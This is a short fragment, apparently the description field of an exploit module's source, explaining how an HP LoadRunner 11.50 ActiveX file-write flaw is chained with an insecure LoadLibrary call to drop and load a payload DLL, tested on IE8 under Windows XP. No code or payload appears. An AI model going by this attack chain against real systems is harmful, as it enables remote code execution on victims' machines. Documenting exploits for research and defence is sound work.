'Description' => %q{ | ||
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed | ||
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method, | ||
which allow the user to write arbitrary files. It's abused to drop a payload | ||
embedded in a dll, which is later loaded through the Init() method from the | ||
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has | ||
been tested successfully on IE8 on Windows XP. Virtualization based on the Low | ||
Integrity Process, on Windows Vista and 7, will stop this module because the DLL | ||
will be dropped to a virtualized folder, which isn't used by LoadLibrary. | ||
